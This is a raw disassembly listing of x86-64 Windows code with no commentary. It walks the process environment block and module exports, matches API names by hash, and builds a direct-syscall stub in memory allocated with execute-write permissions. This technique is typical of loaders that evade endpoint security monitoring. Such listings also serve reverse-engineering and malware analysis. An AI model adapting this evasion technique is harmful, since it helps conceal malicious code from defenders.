mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x7478], rax
mov rax, qword [rsp + 0x7478]
mov qword [rsp + 0x74c0], rax
cmp qword [rsp + 0x4e78], 0
je 0x14011f7f0
cmp qword [rsp + 0x4e70], 0
je 0x14011f7f0
xor eax, eax
cmp rax, 0x40
jne 0x14011f7fd
mov byte [rsp + 0x90], 0
jmp 0x140120eb7
lea rax, [rsp + 0xd778]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xd778], 0x33
mov rax, qword [rsp + 0x4e70]
mov qword [rsp + 0xd788], rax
mov rax, qword [rsp + 0x4e78]
mov qword [rsp + 0xd790], rax
mov qword [rsp + 0xd798], 0x40
mov dword [rsp + 0x3918], 0
mov qword [rsp + 0x7488], 0
mov qword [rsp + 0x7490], 0x28
lea rax, [rsp + 0xd778]
mov qword [rsp + 0x7498], rax
lea rax, [rsp + 0x12288]
mov qword [rsp + 0x74a0], rax
mov qword [rsp + 0x74a8], 0
mov qword [rsp + 0x74b0], 0
mov qword [rsp + 0x74b8], 0
mov dword [rsp + 0x38d4], 0x9363e455
mov eax, dword [rsp + 0x38d4]
mov dword [rsp + 0x38d8], eax
mov eax, dword [rsp + 0x38d8]
mov dword [rsp + 0x38e0], eax
mov eax, dword [rsp + 0x38e0]
mov dword [rsp + 0x6230], eax
mov dword [rsp + 0x6234], 0
lea rax, [rsp + 0x6238]
mov qword [rsp + 0x7480], rax
mov dword [rsp + 0x3914], 0x49
mov dword [rsp + 0x3910], 0x89
mov dword [rsp + 0x390c], 0xca
mov dword [rsp + 0x3908], 0x48
mov dword [rsp + 0x3904], 0xc7
mov dword [rsp + 0x3900], 0xc0
mov dword [rsp + 0x38fc], 0x3f
mov dword [rsp + 0x38f8], 0x10
mov dword [rsp + 0x38f4], 0
mov dword [rsp + 0x38f0], 0
mov dword [rsp + 0x38ec], 0xf
mov dword [rsp + 0x38e8], 5
mov dword [rsp + 0x38e4], 0xc3
lea rax, [rsp + 0x38e4]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x38e8]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x38ec]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x38f0]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x38f4]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x38f8]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x38fc]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x3900]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x3904]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x3908]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x390c]
lea r8, [rsp + 0x3910]
lea rdx, [rsp + 0x3914]
mov rcx, qword [rsp + 0x7480]
call fcn.14008f900
mov byte [rsp + 0x562], 1
mov byte [rsp + 0x563], 0
movsxd rax, dword [rsp + 0x3918]
mov qword [rsp + 0x7680], rax
mov byte [rsp + 0x564], 0
mov byte [rsp + 0x565], 0
mov rax, qword [rsp + 0x7488]
mov qword [rsp + 0x7688], rax
mov byte [rsp + 0x566], 0
mov byte [rsp + 0x718], 1
mov rax, qword [rsp + 0x7490]
mov qword [rsp + 0x7690], rax
mov byte [rsp + 0x1b8], 0
mov byte [rsp + 0x1b9], 0
mov rax, qword [rsp + 0x7498]
mov qword [rsp + 0x7698], rax
mov byte [rsp + 0x1ba], 0
mov byte [rsp + 0x1bb], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0x76a0], rax
mov byte [rsp + 0x1bc], 0
mov byte [rsp + 0x1bd], 0
mov rax, qword [rsp + 0x74a0]
mov qword [rsp + 0x76a8], rax
mov byte [rsp + 0x1be], 0
mov byte [rsp + 0x1bf], 0
mov rax, qword [rsp + 0x74a8]
mov qword [rsp + 0x76b0], rax
mov byte [rsp + 0x1c0], 0
mov byte [rsp + 0x1c1], 0
mov rax, qword [rsp + 0x74b0]
mov qword [rsp + 0x76b8], rax
mov byte [rsp + 0x1c2], 0
mov byte [rsp + 0x1c3], 0
mov rax, qword [rsp + 0x74b8]
mov qword [rsp + 0x76c0], rax
mov byte [rsp + 0x1c4], 0
mov byte [rsp + 0x1c5], 0
mov rax, qword [rsp + 0x74c0]
mov qword [rsp + 0x76c8], rax
mov eax, dword [rsp + 0x6230]
mov dword [rsp + 0x3920], eax
lea rax, [0x1404d0cf0]
mov qword [rsp + 0x4e80], rax
mov rax, qword [rsp + 0x4e80]
mov qword [rsp + 0x74c8], rax
mov rax, qword [rsp + 0x74c8]
mov qword [rsp + 0xd110], rax
mov byte [rsp + 0xd118], 1
mov rax, qword [rsp + 0x4e80]
mov rcx, rax
call sub.KERNEL32.dll_AcquireSRWLockShared
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x74d0], rax
lea r8, [rsp + 0x3920]
lea rdx, [rsp + 0x4e98]
mov rcx, qword [rsp + 0x74d0]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x74d8], rax
mov rax, qword [rsp + 0x74d8]
add rax, 8
mov qword [rsp + 0x4e88], rax
mov rax, qword [rsp + 0xdd48]
mov qword [rsp + 0x4e90], rax
mov rax, qword [rsp + 0x4e88]
mov qword [rsp + 0x4e90], rax
mov rax, qword [rsp + 0x4e88]
mov rax, qword [rax]
mov qword [rsp + 0x74e0], rax
mov r8, qword [rsp + 0x4e90]
mov rdx, qword [rsp + 0x74e0]
lea rcx, [rsp + 0x74e8]
call fcn.14006f260
lea rax, [rsp + 0x74e8]
mov qword [rsp + 0x74f0], rax
mov rax, qword [rsp + 0x74f0]
mov rax, qword [rax]
cmp qword [rsp + 0x4e98], rax
jne 0x14011fca2
mov dword [rsp + 0x1070], 1
jmp 0x14011fcad
mov dword [rsp + 0x1070], 0
movzx eax, byte [rsp + 0x1070]
mov byte [rsp + 0xbc], al
movzx eax, byte [rsp + 0xbc]
test eax, eax
je 0x14011fcd6
mov qword [rsp + 0x4ea0], 0
jmp 0x14011fd3e
mov rax, qword [rsp + 0x4e98]
add rax, 0x10
mov qword [rsp + 0x74f8], rax
mov rax, qword [rsp + 0x74f8]
mov qword [rsp + 0x7500], rax
mov rax, qword [rsp + 0x7500]
mov qword [rsp + 0x7508], rax
mov rax, qword [rsp + 0x7508]
mov qword [rsp + 0x7510], rax
mov rax, qword [rsp + 0x7510]
mov qword [rsp + 0x7518], rax
mov rax, qword [rsp + 0x7518]
mov rax, qword [rax + 8]
mov qword [rsp + 0x4ea0], rax
mov rax, qword [rsp + 0x4ea0]
mov qword [rsp + 0x7528], rax
movzx eax, byte [rsp + 0xd118]
test eax, eax
je 0x14011fd7a
mov rax, qword [rsp + 0xd110]
mov qword [rsp + 0x7520], rax
mov rax, qword [rsp + 0x7520]
mov rcx, rax
call sub.KERNEL32.dll_ReleaseSRWLockShared
mov rax, qword [rsp + 0x7528]
mov qword [rsp + 0x4ea8], rax
cmp qword [rsp + 0x4ea8], 0
je 0x14011fdba
mov rax, qword [rsp + 0x4ea8]
mov eax, dword [rax + 4]
mov dword [rsp + 0x3928], eax
mov eax, dword [rsp + 0x3928]
mov dword [rsp + 0x6234], eax
jmp 0x140120c56
lea rax, [rsp + 0xcef8]
mov qword [rsp + 0x4eb0], rax
mov rax, qword [rsp + 0x4eb0]
mov dword [rax], 0
mov rax, qword [rsp + 0x4eb0]
mov eax, dword [rax]
mov dword [rsp + 0x3938], eax
lea rax, [rsp + 0xcefc]
mov qword [rsp + 0x4eb8], rax
mov eax, dword [rsp + 0x6230]
mov dword [rsp + 0x3930], eax
mov rax, qword [rsp + 0x4eb8]
mov ecx, dword [rsp + 0x3930]
mov dword [rax], ecx
mov rax, qword [rsp + 0x4eb8]
mov eax, dword [rax]
mov dword [rsp + 0x393c], eax
mov eax, dword [rsp + 0x3938]
mov dword [rsp + 0x1080], eax
mov eax, dword [rsp + 0x393c]
mov dword [rsp + 0x10a8], eax
mov dword [rsp + 0x3940], 0
mov eax, dword [rsp + 0x3940]
cmp dword [rsp + 0x10a8], eax
jne 0x14011fe74
xor eax, eax
cmp eax, 1
je 0x14011fe74
mov dword [rsp + 0x1074], 1
jmp 0x14011fe7f
mov dword [rsp + 0x1074], 0
movzx eax, byte [rsp + 0x1074]
mov byte [rsp + 0xbd], al
movzx eax, byte [rsp + 0xbd]
test eax, eax
je 0x14011feab
mov qword [rsp + 0x1180], 0
jmp 0x140120b17
mov byte [rsp + 0x1c6], 1
mov qword [rsp + 0x6ca0], 0
mov qword [rsp + 0x6ca8], 0
mov rax, qword gs:[0x60]
mov qword [rsp + 0x7530], rax
mov rax, qword [rsp + 0x7530]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x7538], rax
mov rax, qword [rsp + 0x7538]
add rax, 0x10
mov qword [rsp + 0x3be8], rax
mov eax, 1
test eax, eax
je 0x14011ff25
mov rax, qword [rsp + 0x3be8]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x4ec0], rax
jmp 0x14011ff38
mov rax, qword [rsp + 0x3be8]
mov rax, qword [rax]
mov qword [rsp + 0x4ec0], rax
mov rax, qword [rsp + 0x4ec0]
mov qword [rsp + 0x6ca0], rax
mov rax, qword [rsp + 0x3be8]
mov qword [rsp + 0x6ca8], rax
lea rax, [rsp + 0x6ca0]
mov qword [rsp + 0x4ec8], rax
mov rax, qword [rsp + 0x4ec8]
mov rax, qword [rax]
mov qword [rsp + 0x7540], rax
mov rax, qword [rsp + 0x7540]
mov qword [rsp + 0x1168], rax
mov rax, qword [rsp + 0x4ec8]
mov rax, qword [rax + 8]
mov qword [rsp + 0x7548], rax
mov rax, qword [rsp + 0x7548]
mov qword [rsp + 0x7550], rax
jmp 0x14011ffc4
mov rax, qword [rsp + 0x1168]
mov rax, qword [rax]
mov qword [rsp + 0x1168], rax
mov rax, qword [rsp + 0x7550]
cmp qword [rsp + 0x1168], rax
je 0x14011ffe3
mov dword [rsp + 0x1078], 1
jmp 0x14011ffee
mov dword [rsp + 0x1078], 0
movzx eax, byte [rsp + 0x1078]
test eax, eax
je 0x140120b0b
xor eax, eax
mov qword [rsp + 0x7558], rax
mov rax, qword [rsp + 0x7558]
mov rcx, qword [rsp + 0x1168]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7560], rax
lea rax, [rsp + 0x7560]
mov qword [rsp + 0x4ed8], rax
mov dword [rsp + 0x3944], 0
mov eax, dword [rsp + 0x3944]
cmp dword [rsp + 0x1080], eax
jne 0x140120065
xor eax, eax
cmp eax, 1
je 0x140120065
mov dword [rsp + 0x107c], 1
jmp 0x140120070
mov dword [rsp + 0x107c], 0
movzx eax, byte [rsp + 0x107c]
mov byte [rsp + 0xbe], al
movzx eax, byte [rsp + 0xbe]
test eax, eax
jne 0x1401203af
mov rax, qword [rsp + 0x4ed8]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x7568], rax
mov rax, qword [rsp + 0x7568]
mov rax, qword [rax + 8]
mov qword [rsp + 0x4ed0], rax
mov rax, qword [rsp + 0x4ed0]
mov qword [rsp + 0xd5a0], rax
mov rax, qword [rsp + 0x4ed0]
mov qword [rsp + 0x7570], rax
mov qword [rsp + 0x1170], 0xffffffffffffffff
inc qword [rsp + 0x1170]
mov rax, qword [rsp + 0x7570]
mov rcx, qword [rsp + 0x1170]
cmp word [rax + rcx*2], 0
jne 0x1401200e6
mov rax, qword [rsp + 0x1170]
mov qword [rsp + 0x7578], rax
mov rax, qword [rsp + 0x7578]
mov qword [rsp + 0xd5a8], rax
lea rax, [rsp + 0xd5a0]
mov qword [rsp + 0x7580], rax
lea rax, [rsp + 0xe070]
mov rdi, rax
mov rsi, qword [rsp + 0x7580]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x1080]
mov dword [rsp + 0x3948], eax
lea rax, [rsp + 0xd120]
lea rcx, [rsp + 0xe070]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x3948]
mov dword [rsp + 0x1098], eax
lea rax, [rsp + 0x1088]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x1088], 0x1b6e1b1e
lea rax, [rsp + 0x1088]
mov qword [rsp + 0x7588], rax
lea rax, [rsp + 0xe080]
lea rcx, [rsp + 0xd120]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe090]
lea rcx, [rsp + 0xe080]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe090]
mov rcx, qword [rsp + 0x7588]
call fcn.140097890
mov dword [rsp + 0x394c], eax
mov rax, qword [rsp + 0xd128]
mov qword [rsp + 0x7590], rax
mov rax, qword [rsp + 0x7590]
sub rax, 4
mov qword [rsp + 0x7598], rax
mov r9, qword [rsp + 0x7598]
xor r8d, r8d
lea rdx, [rsp + 0xe0a0]
lea rcx, [rsp + 0xd120]
call fcn.14019ab70
lea rax, [rsp + 0x108c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x108c], 0x1b6e1b1e
lea rax, [rsp + 0x108c]
mov qword [rsp + 0x75a0], rax
lea rax, [rsp + 0xe0b0]
lea rcx, [rsp + 0xe0a0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe0c0]
lea rcx, [rsp + 0xe0b0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe0c0]
mov rcx, qword [rsp + 0x75a0]
call fcn.140097890
mov dword [rsp + 0x3954], eax
mov eax, dword [rsp + 0x394c]
mov dword [rsp + 0x3950], eax
mov eax, dword [rsp + 0x3950]
cmp dword [rsp + 0x1098], eax
jne 0x140120308
xor eax, eax
cmp eax, 1
je 0x140120308
mov dword [rsp + 0x1090], 1
jmp 0x140120313
mov dword [rsp + 0x1090], 0
movzx eax, byte [rsp + 0x1090]
mov byte [rsp + 0xbf], al
movzx eax, byte [rsp + 0xbf]
test eax, eax
jne 0x140120393
mov eax, dword [rsp + 0x3954]
mov dword [rsp + 0x3958], eax
mov eax, dword [rsp + 0x3958]
cmp dword [rsp + 0x1098], eax
jne 0x140120360
xor eax, eax
cmp eax, 1
je 0x140120360
mov dword [rsp + 0x10a0], 1
jmp 0x14012036b
mov dword [rsp + 0x10a0], 0
movzx eax, byte [rsp + 0x10a0]
mov byte [rsp + 0xc0], al
movzx eax, byte [rsp + 0xc0]
test eax, eax
jne 0x140120393
mov dword [rsp + 0x10a4], 1
jmp 0x14012039e
mov dword [rsp + 0x10a4], 0
movzx eax, byte [rsp + 0x10a4]
test eax, eax
je 0x1401203af
jmp 0x14011ffb1
mov rax, qword [rsp + 0x4ed8]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x4ee0], rax
mov rax, qword [rsp + 0x4ee0]
mov qword [rsp + 0x4300], rax
mov rax, qword [rsp + 0x4ee0]
mov qword [rsp + 0x75a8], rax
mov rax, qword [rsp + 0x75a8]
mov qword [rsp + 0x4ee8], rax
mov rax, qword [rsp + 0x4ee8]
mov eax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x4ee8]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x75b0], rax
mov eax, dword [rsp + 0x75b0]
add rax, qword [rsp + 0x4300]
mov qword [rsp + 0x75b8], rax
mov rax, qword [rsp + 0x75b8]
mov qword [rsp + 0x4308], rax
mov eax, dword [rsp + 0x10a8]
mov dword [rsp + 0x395c], eax
mov eax, dword [rsp + 0x395c]
mov dword [rsp + 0x3960], eax
lea rdx, [rsp + 0x13e20]
lea rcx, [rsp + 0x4300]
call fcn.1401906d0
lea rcx, [rsp + 0x12f70]
mov rdi, rcx
mov rsi, rax
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x133d0]
lea rcx, [rsp + 0x4300]
call fcn.14018ec60
lea rcx, [rsp + 0x12f98]
mov rdi, rcx
mov rsi, rax
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x12fc0]
lea rcx, [rsp + 0x12f70]
mov rdi, rax
mov rsi, rcx
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x12ff0]
lea rcx, [rsp + 0x12f98]
mov rdi, rax
mov rsi, rcx
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
mov r9d, dword [rsp + 0x3960]
lea r8, [rsp + 0x12fc0]
lea rdx, [rsp + 0x12ff0]
lea rcx, [rsp + 0x11890]
call fcn.140097110
lea rdx, [rsp + 0x133f8]
lea rcx, [rsp + 0x4300]
call fcn.1401906d0
mov qword [rsp + 0x4ef0], rax
mov rax, qword [rsp + 0x4ef0]
mov rax, qword [rax + 8]
cmp qword [rsp + 0x11898], rax
jne 0x140120564
mov rax, qword [rsp + 0x4ef0]
mov rax, qword [rax]
cmp qword [rsp + 0x11890], rax
jne 0x140120564
mov dword [rsp + 0x10b0], 1
jmp 0x14012056f
mov dword [rsp + 0x10b0], 0
movzx eax, byte [rsp + 0x10b0]
mov byte [rsp + 0xc1], al
movzx eax, byte [rsp + 0xc1]
test eax, eax
je 0x14012058f
jmp 0x14011ffb1
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140120655
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov qword [rsp + 0x4f00], rax
mov rax, qword [rsp + 0x4f00]
mov qword [rsp + 0x4ef8], rax
mov rax, qword [rsp + 0x4ef8]
mov qword [rax], 0
mov rax, qword [rsp + 0x4ef8]
mov qword [rax + 8], 0
mov rax, qword [rsp + 0x4f00]
mov qword [rax + 0x10], 0
lea rax, [rsp + 0x118a0]
mov qword [rsp + 0x4f08], rax
mov rax, qword [rsp + 0x4f08]
mov qword [rsp + 0xdd50], rax
mov rax, qword [rsp + 0x4f08]
add rax, 0x10
mov qword [rsp + 0x3c00], rax
mov rax, qword [rsp + 0x3c00]
mov rax, qword [rax]
mov qword [rsp + 0x4f28], rax
mov rax, qword [rsp + 0x4300]
mov qword [rsp + 0x75c0], rax
mov rax, qword [rsp + 0x75c0]
mov qword [rsp + 0x4f10], rax
mov rax, qword [rsp + 0x4f10]
mov eax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x4f10]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x4f18], rax
mov eax, dword [rsp + 0x4f18]
add rax, qword [rsp + 0x4300]
mov qword [rsp + 0x4f20], rax
mov eax, dword [rsp + 0x4f1c]
mov rcx, qword [rsp + 0x4f20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x75c8], rax
mov rax, qword [rsp + 0x4f20]
cmp qword [rsp + 0x4f28], rax
jb 0x140120744
mov rax, qword [rsp + 0x75c8]
cmp qword [rsp + 0x4f28], rax
jae 0x140120744
mov dword [rsp + 0x10b4], 1
jmp 0x14012074f
mov dword [rsp + 0x10b4], 0
movzx eax, byte [rsp + 0x10b4]
mov byte [rsp + 0xc2], al
movzx eax, byte [rsp + 0xc2]
test eax, eax
je 0x140120af1
mov rax, qword [rsp + 0x3c00]
mov rax, qword [rax]
mov qword [rsp + 0x75d0], rax
mov rax, qword [rsp + 0x75d0]
mov qword [rsp + 0x4f30], rax
lea rax, [rsp + 0x12298]
mov qword [rsp + 0x3bf0], rax
mov rax, qword [rsp + 0x3bf0]
mov rcx, qword [rsp + 0x4f30]
mov qword [rax], rcx
mov rax, qword [rsp + 0x4f30]
mov qword [rsp + 0x75d8], rax
mov qword [rsp + 0x1178], 0xffffffffffffffff
inc qword [rsp + 0x1178]
mov rax, qword [rsp + 0x75d8]
mov rcx, qword [rsp + 0x1178]
cmp byte [rax + rcx], 0
jne 0x1401207d0
mov rax, qword [rsp + 0x1178]
mov qword [rsp + 0x75e0], rax
mov rax, qword [rsp + 0x3bf0]
mov rcx, qword [rsp + 0x75e0]
mov qword [rax + 8], rcx
lea rax, [rsp + 0x6130]
mov rdi, rax
mov rsi, qword [rsp + 0x3bf0]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov r9b, reloc.WLDAP32.dll_Ordinal_46
xor r8d, r8d
mov rdx, qword [rsp + 0x6138]
mov rcx, qword [rsp + 0x6130]
call fcn.140096220
mov qword [rsp + 0x3bf8], rax
cmp qword [rsp + 0x3bf8], 0xffffffffffffffff
je 0x1401208e4
mov r9, qword [rsp + 0x3bf8]
xor r8d, r8d
lea rdx, [rsp + 0xe0d0]
lea rcx, [rsp + 0x6130]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3bf8]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xe0e0]
lea rcx, [rsp + 0x6130]
call fcn.14019aaa0
lea rax, [rsp + 0xd620]
lea rcx, [rsp + 0xe0d0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xd630]
lea rcx, [rsp + 0xe0e0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
jmp 0x140120943
lea rax, [rsp + 0x6130]
mov qword [rsp + 0x75e8], rax
mov qword [rsp + 0xd5b0], 0
mov qword [rsp + 0xd5b8], 0
lea rax, [rsp + 0xd620]
mov rdi, rax
mov rsi, qword [rsp + 0x75e8]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xd630]
lea rcx, [rsp + 0xd5b0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xd620]
mov qword [rsp + 0x75f0], rax
lea rax, [rsp + 0xd630]
mov qword [rsp + 0x7600], rax
lea rax, [rsp + 0xcf00]
mov qword [rsp + 0x4f38], rax
lea rax, [rsp + 0x10b8]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x10b8], 0x1b6e1b1e
lea rax, [rsp + 0x10b8]
mov qword [rsp + 0x75f8], rax
lea rax, [rsp + 0xe0f0]
mov rdi, rax
mov rsi, qword [rsp + 0x75f0]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe100]
lea rcx, [rsp + 0xe0f0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe100]
mov rcx, qword [rsp + 0x75f8]
call fcn.1400977d0
mov dword [rsp + 0x3968], eax
mov rax, qword [rsp + 0x4f38]
mov ecx, dword [rsp + 0x3968]
mov dword [rax], ecx
mov rax, qword [rsp + 0x4f38]
mov eax, dword [rax]
mov dword [rsp + 0x3978], eax
lea rax, [rsp + 0xcf04]
mov qword [rsp + 0x4f40], rax
lea rax, [rsp + 0x10bc]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x10bc], 0x1b6e1b1e
lea rax, [rsp + 0x10bc]
mov qword [rsp + 0x7608], rax
lea rax, [rsp + 0xe110]
mov rdi, rax
mov rsi, qword [rsp + 0x7600]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe120]
lea rcx, [rsp + 0xe110]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe120]
mov rcx, qword [rsp + 0x7608]
call fcn.1400977d0
mov dword [rsp + 0x3970], eax
mov rax, qword [rsp + 0x4f40]
mov ecx, dword [rsp + 0x3970]
mov dword [rax], ecx
mov rax, qword [rsp + 0x4f40]
mov eax, dword [rax]
mov dword [rsp + 0x397c], eax
mov r8d, dword [rsp + 0x3978]
mov edx, dword [rsp + 0x397c]
lea rcx, [rsp + 0x3c08]
call fcn.140191150
mov qword [rsp + 0x1180], rax
jmp 0x140120b17
mov rax, qword [rsp + 0x3c00]
mov rax, qword [rax]
mov qword [rsp + 0x1180], rax
jmp 0x140120b17
mov qword [rsp + 0x1180], 0
mov rax, qword [rsp + 0x1180]
mov qword [rsp + 0x3c08], rax
mov rax, qword [rsp + 0xdd58]
mov qword [rsp + 0x4f48], rax
mov rax, qword [rsp + 0x3c08]
mov qword [rsp + 0x4f48], rax
mov eax, dword [rsp + 0x6230]
mov dword [rsp + 0x3980], eax
mov rax, qword [rsp + 0x4f48]
mov qword [rsp + 0x7620], rax
mov eax, dword [rsp + 0x3980]
mov dword [rsp + 0x3988], eax
lea rax, [0x1404d0cf0]
mov qword [rsp + 0x7610], rax
mov rax, qword [rsp + 0x7610]
mov qword [rsp + 0x6140], rax
mov byte [rsp + 0x6148], 0
mov rax, qword [rsp + 0x6140]
mov qword [rsp + 0x7618], rax
mov rax, qword [rsp + 0x7618]
mov rcx, rax
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x6148], 1
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x7628], rax
lea r9, [rsp + 0x7620]
lea r8, [rsp + 0x3988]
lea rdx, [rsp + 0x122a8]
mov rcx, qword [rsp + 0x7628]
call fcn.140098320
movzx eax, byte [rsp + 0x6148]
test eax, eax
je 0x140120c26
mov rax, qword [rsp + 0x6140]
mov qword [rsp + 0x7630], rax
mov rax, qword [rsp + 0x7630]
mov rcx, rax
call sub.KERNEL32.dll_ReleaseSRWLockExclusive
mov rax, qword [rsp + 0x3c08]
mov qword [rsp + 0x7638], rax
mov rax, qword [rsp + 0x7638]
mov eax, dword [rax + 4]
mov dword [rsp + 0x3990], eax
mov eax, dword [rsp + 0x3990]
mov dword [rsp + 0x6234], eax
lea rax, [rsp + 0x6238]
mov qword [rsp + 0x7640], rax
mov eax, dword [rsp + 0x6234]
mov dword [rsp + 0x3998], eax
mov rax, qword [rsp + 0x7640]
add rax, 0x11
mov qword [rsp + 0x7648], rax
mov eax, 6
mov rcx, qword [rsp + 0x7648]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7650], rax
mov rax, qword [rsp + 0x7650]
mov ecx, dword [rsp + 0x3998]
mov dword [rax], ecx
lea rax, [rsp + 0x6238]
mov qword [rsp + 0x570], rax
mov rax, qword [rsp + 0x570]
add rax, 0x10
mov qword [rsp + 0xdd60], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x7658], rax
mov qword [rsp + 0x4f50], 0
mov qword [rsp + 0x7660], 0xd
mov rax, qword [rsp + 0x7658]
mov qword [rsp + 0x7668], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x7660]
xor r8d, r8d
lea rdx, [rsp + 0x4f50]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x7668]
mov dword [rsp + 0x39a0], eax
cmp dword [rsp + 0x39a0], 0
jl 0x140120d67
mov rax, qword [rsp + 0x4f50]
mov qword [rsp + 0x4f58], rax
jmp 0x140120d73
mov qword [rsp + 0x4f58], 0
mov rax, qword [rsp + 0x4f58]
mov qword [rsp + 0x7670], rax
mov rax, qword [rsp + 0x570]
mov rcx, qword [rsp + 0x7670]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x570]
cmp qword [rax + 8], 0
jne 0x140120da8
jmp 0x140120df1
mov rax, qword [rsp + 0x570]
add rax, 0x11
mov qword [rsp + 0x7678], rax
mov rax, qword [rsp + 0x570]
mov rax, qword [rax + 8]
mov rdi, rax
mov rsi, qword [rsp + 0x7678]
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x570]
mov rcx, qword [rsp + 0x570]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6238]
mov qword [rsp + 0x76d0], rax
mov rax, qword [rsp + 0x7680]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x7688]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x7690]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x7698]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x76a0]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x76a8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x76b0]
mov r8, qword [rsp + 0x76b8]
mov rdx, qword [rsp + 0x76c0]
mov rcx, qword [rsp + 0x76c8]
